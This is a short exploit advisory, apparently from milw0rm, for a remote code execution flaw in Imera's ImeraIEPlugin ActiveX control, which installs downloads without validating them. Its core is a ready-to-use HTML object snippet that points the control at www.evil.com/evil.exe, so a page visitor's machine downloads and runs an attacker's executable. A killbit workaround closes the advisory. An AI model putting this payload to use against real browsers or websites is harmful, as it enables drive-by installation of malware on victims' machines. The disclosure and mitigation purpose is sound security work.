Imera ImeraIEPlugin ActiveX Control Remote Code Execution Exploit

Who:
Imera(http://www.imera.com)
Imera TeamLinks Client(http://teamlinks.imera.com/install.html)

What:
ImeraIEPlugin.dll
Version 1.0.2.54
Dated 12/02/2008
{75CC8584-86D4-4A50-B976-AA72618322C6}
http://teamlinks.imera.com/ImeraIEPlugin.cab

How:
This control is used to install the Imera TeamLinks Client package. The control fails to validate the content that it is to download and install is indeed the Imera TeamLinks Client software.

Exploiting this issue is quite simple, like so:

object classid="clsid:75CC8584-86D4-4A50-B976-AA72618322C6"
id="obj"
param name="DownloadProtocol" value="http" /
param name="DownloadHost" value="www.evil.com" /
param name="DownloadPort" value="80" /
param name="DownloadURI" value="evil.exe" /
/object

Fix:
The vendor has been notified.

Workaround:
Set the killbit for the affected control, see http://support.microsoft.com/kb/240797. Use the Java installer for TeamLinks Client or install the software manually from: http://teamlinks.imera.com/download.html

Elazar

# milw0rm